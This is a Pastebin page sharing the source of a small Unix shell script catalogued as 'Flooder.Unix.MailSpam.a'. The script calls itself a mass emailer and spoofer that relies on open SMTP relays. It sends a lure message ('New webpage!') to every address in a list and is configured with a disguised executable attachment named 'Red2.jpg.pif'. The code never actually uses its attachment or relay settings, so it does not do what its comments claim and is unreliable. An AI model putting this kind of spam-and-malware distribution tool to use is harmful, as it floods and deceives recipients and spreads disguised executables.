Advertisement
FlyFar

Flooder.Unix.MailSpam.a - Source Code

Jun 12th, 2023
1,075
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.15 KB | Cybersecurity | 0 0
  1. #!/bin/sh
  2.  
  3. # A very simple mass emailer (spoofer) with attachment support. You must supply
  4. # your own email lists, as well as smtp server w/ relaying
  5. # Coded 02/02/02 by Merlion .::Parenthesis / Are You Fearless::.
  6. #  http://fraggle.ath.cx | http://www.areyoufearless.com
  7.  
  8.  
  9. relayserv="$1"
  10. if [ $1 = "" ]; then
  11. echo "Usage is: filename <relay IP>"
  12. exit 1
  13. fi
  14.  
  15. # Replace the following address with your email
  16. LOGNAME=email@webpage.com
  17.  
  18. # Replace the following with a path to a textfile containing
  19. # the text you wish to send in the message body
  20. TXTFILE=/home/loww/textfile
  21.  
  22. # Replace the following with a path to the file to attach      
  23. ATTFILE=/home/loww/Red2.jpg.pif
  24.  
  25. # Replace the following with the subject of the message
  26. SUBJECT="New webpage!"
  27.  
  28. # Replace the following with the path to a text file containing
  29. # the list of email adresses (newline seperated)
  30. EMAILLIST=/home/loww/email.txt
  31.        
  32. for addy in `cat $EMAILLIST`; do
  33. MAILTO=$addy
  34. echo "From: $LOGNAME\nTo: $MAILTO\nSubject: $SUBJECT\n\
  35. Mime-Version: 1.0\nContent-Type: text/plain\n" > /tmp/file
  36. cat $TXTFILE >> /tmp/file
  37. sendmail -t -oi < /tmp/file
  38. done
  39. rm -f /tmp/file
  40. exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement